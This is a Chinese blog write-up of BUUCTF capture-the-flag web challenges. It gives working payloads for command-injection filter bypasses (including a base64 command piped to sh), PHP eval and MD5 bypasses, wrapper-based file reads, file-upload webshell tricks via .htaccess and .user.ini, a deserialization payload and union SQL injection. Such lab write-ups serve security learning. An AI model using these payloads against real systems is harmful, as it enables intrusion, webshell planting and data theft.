• buuctf(探险1)


    目录

    [GXYCTF2019]Ping Ping Ping

    命令执行过滤空格flag,拼接绕过

     [RoarCTF 2019]Easy Calc

    waf前端检测,命令执行绕过

    原理:利用scandir()列出目录和文件,var_dump()用于输出

    原理:利用file_get_contents()读取并输出文件内容

    [HCTF 2018]admin

     nodeprep.prepare方法漏洞

     [BJDCTF2020]Easy MD5

    [ZJCTF 2019]NiZhuanSiWei

    [MRCTF2020]你传你🐎呢

    文件上传的题目

    [SUCTF 2019]CheckIn 

    文件上传

    [MRCTF2020]Ez_bypass

    md5一些简单函数

    [网鼎杯 2020 青龙组]AreUSerialz

    反序列化pop链

    protected分析:

     private分析:

    [GXYCTF2019]BabySQli 

    sql注入



    [GXYCTF2019]Ping Ping Ping

    命令执行过滤空格flag,拼接绕过

    打开界面发现就一个

    /?ip=源码一样,然后get传参本地地址 127.0.0.1试一下

    那这道题考察:命令执行、管道符的应用

    提示过滤掉了空格,用%09绕过一下 

    提示:/?ip= 1fxck your symbol!应该是过滤掉了%

    用一下${IFS}        {应该被过滤了,用$IFS$1绕过,看一下源码

    发现flag被过滤掉了,? *通配符都没了,那试一下拼接把

    本来构造是?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php,可是没绕过去

     查看资料后有解释说这串代码意为 匹配一个字符串中,是否按顺序出现过flag四个字母(还是不太理解为什么用字符串拼接的方法会被过滤)

    所以把flag逆反一下

    ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php  变量之间用分号不可用&

    ?ip=127.0.0.1;a=ag&b=fl;cat$IFS$1$b$a.php 错误

    f12查看源码看见

     或者

    /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

    Y2F0IGZsYWcucGhw是cat flag.php的base64编码

     [RoarCTF 2019]Easy Calc

    waf前端检测,命令执行绕过

     打开界面没感觉有啥,看一下源码

    绿色显示,肯定有用

    大概意思就是我有一个waf过滤来确保安全,说明有过滤, 

    cale.php访问一下

    1. error_reporting(0);
    2. if(!isset($_GET['num'])){
    3. show_source(__FILE__);
    4. }else{
    5. $str = $_GET['num'];
    6. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    7. foreach ($blacklist as $blackitem) {
    8. if (preg_match('/' . $blackitem . '/m', $str)) {
    9. die("what are you want to do?");
    10. }
    11. }
    12. eval('echo '.$str.';');
    13. }
    14. ?>

     随便输入一个字母

     推测waf应该就是不让输出字母,php有一个特性

    ? num和?num两个的num变量不一样,但url后都会忽略空格

    以及特殊符号 都会变为下划线

    waf里的是num而不是 空格num

    原理:利用scandir()列出目录和文件,var_dump()用于输出

    scandir()函数返回指定目录中的文件和目录的数组。
    scandir(/)相当于ls /
    var_dump()相当于echo

    原理:利用file_get_contents()读取并输出文件内容

    例如 file_get_contents(/flag.php),读取/flag.php的代码

    ?%20num=var_dump(scandir(chr(47)))  chr(47)  / 因为上面/被过滤掉了用chr代替

    ?%20num=file_get_contents(chr(47).f1agg)   或者

    num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))==>>file_get_contents(/f1agg)相当于? num=system(cat /f1agg)

    [HCTF 2018]admin

     nodeprep.prepare方法漏洞

    打开界面,源码显示需要账户是admin,然后看见下面注册试一下

    先注册一下

    那这道题,思想就是绕过 admin,但最后又可以用admin登录

    先随便注册一个账号,然后查看源码,

    • 在change页面的源代码中发现了网站的源代码地址如下

     访问网站下载zip,打开routes.py

    发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
    于是看一下这个函数是如何封装的 如下

    1. from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
    2. ## 包引入头

     nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
    它会将unicode编码的ᴬ转化成A

    unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital
    

    所以只要我们用 ᴬdmin进行注册,前端虽然是,但是后端就变成了admin所以我们就能绕过去,然后修改密码通过!

     [BJDCTF2020]Easy MD5

    打开界面没啥用,看下源码没啥关键的,考察md5,然后再网络包发现一条select语句 

     md5(string,raw)

    string    必需。要计算的字符串。

    raw     可选。默认不写为FALSE。32位16进制的字符串
            TRUE。16位原始二进制格式的字符串
            进行post传参

    让我想到了md5中的,

    ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
    而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

    等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

    输入后,获得源码

    get传参,数组绕过,?a[]=3&b[]=4

    1. error_reporting(0);
    2. include "flag.php";
    3. highlight_file(__FILE__);
    4. if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    5. echo $flag;
    6. }

    param1[]=3¶m2[]=4继续数组绕过,只不过是post传参罢了

    [ZJCTF 2019]NiZhuanSiWei

    1. $text = $_GET["text"];
    2. $file = $_GET["file"];
    3. $password = $_GET["password"];
    4. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    5. echo "

      ".file_get_contents($text,'r')."


      "
      ;
    6. if(preg_match("/flag/",$file)){
    7. echo "Not now!";
    8. exit();
    9. }else{
    10. include($file); //useless.php
    11. $password = unserialize($password);
    12. echo $password;
    13. }
    14. }
    15. else{
    16. highlight_file(__FILE__);
    17. }
    18. ?>

     开始审计代码,get传参,然后text里面肯定是welcome to the zjctf

    file里面肯定是useless.php,看见下面有反序列化,所以我觉得这应该是用文件包含然后出源码的擦做,然后password里存的是序列化指向一个获得flag的。

    话不多说开整,

    file_get_contents($text,'r')==="welcome to the zjctf"

    函数作用:吧text文件中的内容,给了r当作字符串处理

    所以我们需要自己构建一个文件,然后用伪协议file读取

    ?text=file://e:\123.txt发现不行,那用一下data

    ?text=data://text/plain,welcome to the zjctf //不需要加引号

     

    绕过去了第一个。然后伪协议读取useless.php

    php://filter/read=convert.base64-encode/resource=useless.php 

     开心,竟然不是pop链构造那种长度,

    1. class Flag{ //flag.php
    2. public $file;
    3. public function __tostring(){
    4. if(isset($this->file)){
    5. echo file_get_contents($this->file);
    6. echo "
      "
      ;
    7. return ("U R SO CLOSE !///COME ON PLZ");
    8. }
    9. }
    10. }
    11. ?>

    肯定是this->file出东西

     提示我获得了flag,找一找

     找到了,但是还有一个小疑问,怎么调用的——tostring呢,源码看一下

    捂了捂了,原来是源码echo调用,如果没有echo也应该有一个突出的类的或者里面有wakeup或者destrust魔术方法,前往下一探险 

    [MRCTF2020]你传你🐎呢

    文件上传的题目

    1. 1、前端绕过,抓包修改后缀名,
    2. 2、文件内容绕过,用图片马,抓包修改后缀绕过
    3. 3、黑名单绕过,那么我们可以改成phtml抓包绕过
    4. 4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
    5. 5、大小写绕过,抓包后修改后缀为.PHp
    6. 7、空格绕过,抓包修改后缀,在后缀后面加上空格
    7. 8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
    8. 9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
    9. 10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
    10. 11、.user.ini配置文件绕过

    大概就是这几种,然后看一下这道题

    后缀试了一下,php.php3,php5,phtml过滤的挺多的,然后想想能不能用.htacess

    把content-Type改为:image/jpeg试一下

    上传成功,.htaccess的作用主要就是把里面2.jpg用php的形式解析

    然后就需要上传 2.jpg命名的图片码了,

     http://13e5176a-797f-4a6c-b2da-24b94b8f1390.node4.buuoj.cn:81/upload/08c57e4475e1d1a8bd0961e50134b964/2.jpg

    蚁建链接,获得flag“

    [SUCTF 2019]CheckIn 

    文件上传

    首先传一个,.php文件的发现回显illegal suffix!

    然后试一下图片码,

     发现过滤了

     

     发现不是image类型,应该是有了文件头校验

    然后加上GIF89a

    上传成功,然后就需要上传一个配置文件,来进行php解析

    通过谷歌的插件,发现该站点使用的是nginx

    所以使用.htaccess绕过行不通,因为它是Apache的配置文件

    这里我们采用.user.ini来绕过--》

     先上传,.user.ini,

    auto_prepend_file=1.gif

    然后上传  1.gif  木马文件

     蚁建链接就行, 这里注意一个点

    index.php放最后面http://52758cbb-2d8e-4014-ad0e-0c80cb50c926.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

     然后获得flag,

    [MRCTF2020]Ez_bypass

    md5一些简单函数

    1. I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
    2. if(isset($_GET['gg'])&&isset($_GET['id']))
    3. { $id=$_GET['id'];
    4. $gg=$_GET['gg'];
    5. if (md5($id) === md5($gg) && $id !== $gg)
    6. { echo 'You got the first step';
    7. if(isset($_POST['passwd']))
    8. { $passwd=$_POST['passwd'];
    9. if (!is_numeric($passwd))
    10. { if($passwd==1234567)
    11. { echo 'Good Job!';
    12. highlight_file('flag.php');
    13. die('By Retr_0'); }
    14. else { echo "can you think twice??"; } }
    15. else{ echo 'You can not get it !'; } }
    16. else{ die('only one way to get the flag'); } }
    17. else { echo "You are not a real hacker!"; } }
    18. else{ die('Please input first'); } }
    19. Please input first

    打开以后源码,自己整理一下,捋一下思路

    get 传参 id gg  ,数组绕过应该就可以

    post 传参 passwd 1234567a弱比较绕过

    然后高亮显示,flag.php

    说明get传参的部分成功绕了过去,接下来就是post了

    这就成功了,提交flag对了,竟然没有坑,开心呀!

    [网鼎杯 2020 青龙组]AreUSerialz

    反序列化pop链

    1. include("flag.php");
    2. highlight_file(__FILE__);
    3. class FileHandler {
    4. protected $op;
    5. protected $filename;
    6. protected $content;
    7. function __construct() {
    8. $op = "1";
    9. $filename = "/tmp/tmpfile";
    10. $content = "Hello World!";
    11. $this->process();
    12. }
    13. public function process() {
    14. if($this->op == "1") {
    15. $this->write();
    16. } else if($this->op == "2") {
    17. $res = $this->read();
    18. $this->output($res);
    19. } else {
    20. $this->output("Bad Hacker!");
    21. }
    22. }
    23. private function write() {
    24. if(isset($this->filename) && isset($this->content)) {
    25. if(strlen((string)$this->content) > 100) {
    26. $this->output("Too long!");
    27. die();
    28. }
    29. $res = file_put_contents($this->filename, $this->content);
    30. if($res) $this->output("Successful!");
    31. else $this->output("Failed!");
    32. } else {
    33. $this->output("Failed!");
    34. }
    35. }
    36. private function read() {
    37. $res = "";
    38. if(isset($this->filename)) {
    39. $res = file_get_contents($this->filename);
    40. }
    41. return $res;
    42. }
    43. private function output($s) {
    44. echo "[Result]:
      "
      ;
    45. echo $s;
    46. }
    47. function __destruct() {
    48. if($this->op === "2")
    49. $this->op = "1";
    50. $this->content = "";
    51. $this->process();
    52. }
    53. }
    54. function is_valid($s) {
    55. for($i = 0; $i < strlen($s); $i++)
    56. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    57. return false;
    58. return true;
    59. }
    60. if(isset($_GET{'str'})) {
    61. $str = (string)$_GET['str'];
    62. if(is_valid($str)) {
    63. $obj = unserialize($str);
    64. }
    65. }

    乍一看,就construct  和 destruct 两个魔术方法

    is_valid想要实现的是,ascll在 32-125之间

    可是这里的属性都是protected构成的,需要加 \00*\00保护起来,所以我们就需要绕过

    protected分析:

    举例:本来sex结果上面出现的是*sex,但是*sex的长度是4,

    但是上面显示的是6,

    发现protect属性序列化的时候格式是%00*%00sex(成员名)

     private分析:

    比如 testage长度是7,

    但是上面显示的是9,

    private属性序列化格式 %00类名%00成员名

    %00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9

     绕过方法:在php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化没有不可见字符

    7.1以下:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
     

    O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
    

     private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }应该是read()函数这是链尾执行实现flag的方法

    所以我们的目标改为是谁调用了read

     public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {       只需要让op=2就可以调用read
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }

    然后我们的目标就是如何让op=2,注意两个等号这是弱比较,接下来会用到

    function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }  这是三个等号,强比较,会核对值是否相当,以及类型是否一样,我们可以让2为数值型就都可以实现

    正好,这是开头,构造结束。

    1. class FileHandler {
    2. public $op=2;
    3. public $filename="flag.php"; 题目给的flag位置
    4. public $content=df; } 随便写的
    5. $a=new FileHandler();
    6. echo serialize($a);

    因为这种方式都被注释掉了,所以需要在源码中寻找flag,

    或者改为filter伪协议读取,会显示base64编码

    [GXYCTF2019]BabySQli 

    sql注入

    先找注入点,只有单引号回显

    确定是单引号,试一下万能密码 

    发现源码有一串字母,没看出来是什么编码,暂时略过

    do not hack me!     ' or true#  回显别欺骗我  应该是里面有字符被过滤了,419都是被过滤的or被过滤,试了一下大写可以成功绕过,union 没有被过滤试一下联合注入

    没思路,突破点肯定是那一串乱码

    试一下base64没出来,base32试一下

    c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

    这一看就需要base64出来了,是一条select语句

    select * from user where username = '$name'

    联合注入:先看一下有几列,最后测试出来

     

    如上测到第四个字段报错,证明只有3个字段数,但没有回显字段名,来到本题考点:猜测三个字段是啥,一般是id、username、password,尝试;

    用户名admin尝试成功,

    来到本题考点的另一个:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;这道题显示不是明文,那就是md5加密了,把密码加密

    202CB962AC59075B964B07152D234B70  md5 32位编码

    ' union select 1,'admin','202CB962AC59075B964B07152D234B70'#

    试了很多,发现都不对,然后把大写字母换成小写就出来了答案 

     

    1. if(preg_match("/\(|\)|\=|or/", $name)){
    2. die("do not hack me!");
    3. }
    4. else{
    5. if (!$result) {
    6. printf("Error: %s\n", mysqli_error($con));
    7. exit();
    8. }
    9. else{
    10. // echo '
      ';
    11. $arr = mysqli_fetch_row($result);
    12. // print_r($arr);
    13. if($arr[1] == "admin"){
    14. if(md5($password) == $arr[2]){
    15. echo $flag;
    16. }
    17. else{
    18. die("wrong pass!");
    19. }
    20. }
    21. else{
    22. die("wrong user!");
    23. }
    24. }
    25. }

    看源码就知道了原因,md5加密需要

  • 相关阅读:
    [附源码]计算机毕业设计JAVA基于web鲜花销售系统论文2022
    数据降维——主成分分析
    【EI检索征稿】第五届机器学习、大数据与商务智能国际会议(MLBDBI 2023)
    LeetCode 2656. K 个元素的最大和【数学】简单
    热乎的腾讯 C++ 后台开发面试笔记
    JavaScript基本功之生成器(generator)
    3.7背景色半透明
    RabbitMQ的安装和配置
    SQL及数据库基础知识点总结
    深度学习记录
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126084826